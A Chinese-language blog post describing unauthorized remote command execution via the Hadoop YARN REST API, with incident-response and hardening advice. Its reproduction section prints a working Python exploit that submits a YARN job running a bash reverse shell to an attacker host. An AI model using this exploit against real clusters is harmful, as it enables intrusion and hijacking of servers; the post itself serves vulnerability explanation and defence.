大柚子

这世界不过如此

一、概述

Hadoop是一个由Apache基金会所开发的分布式系统基础架构,YARN是hadoop系统上的资源统一管理平台,其主要作用是实现集群资源的统一管理和调度,可以把MapReduce计算框架作为一个应用程序运行在YARN系统之上,通过YARN来管理资源。简单的说,用户可以向YARN提交特定应用程序进行执行,其中就允许执行相关包含系统命令。

YARN提供有默认开放在8088和8090的REST API(默认前者)允许用户直接通过API进行相关的应用创建、任务提交执行等操作,如果配置不当,REST API将会开放在公网导致未授权访问的问题,那么任何黑客则就均可利用其进行远程命令执行,从而进行挖矿等行为。

二、影响版本

版本 <hadoop 3.3.0

三、漏洞复现

1、申请新的application

直接发送POST请求,获得“application-id”


POST /ws/v1/cluster/apps/new-application HTTP/1.1
Host: 192.168.52.131:8088
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
X-Forwarded-For: 8.8.8.8
Connection: close
Upgrade-Insecure-Requests: 1

2、构造并提交任务

这里使用官方的exp


#!/usr/bin/env python

import requests

target = 'http://127.0.0.1:8088/'
lhost = 'xx.xx.xx.xx' # put your local host ip here, and listen at port 9999

url = target + 'ws/v1/cluster/apps/new-application'
resp = requests.post(url)
app_id = resp.json()&#91;'application-id']
url = target + 'ws/v1/cluster/apps'
data = {
    'application-id': app_id,
    'application-name': 'get-shell',
    'am-container-spec': {
        'commands': {
            'command': '/bin/bash -i >&amp; /dev/tcp/%s/33333 0>&amp;1' % lhost,
        },
    },
    'application-type': 'YARN',
}
requests.post(url, json=data)

执行该脚本:


python3  payload.py http://targetIP:8088

四、应急响应

1、日志侧排查

通过排查YARN的日志文件
yarn-root-nodemanager-master.hadoop.log

或者查看docker运行日志

通过命令:docker logs 容器id

2、控制UI查看Applications

五、加固建议

1、限制8088端口访问,如无必要,禁止对外开放

2、启用Kerberos认证功能,禁止匿名访问

Print Friendly, PDF & Email

发表回复

您的电子邮箱地址不会被公开。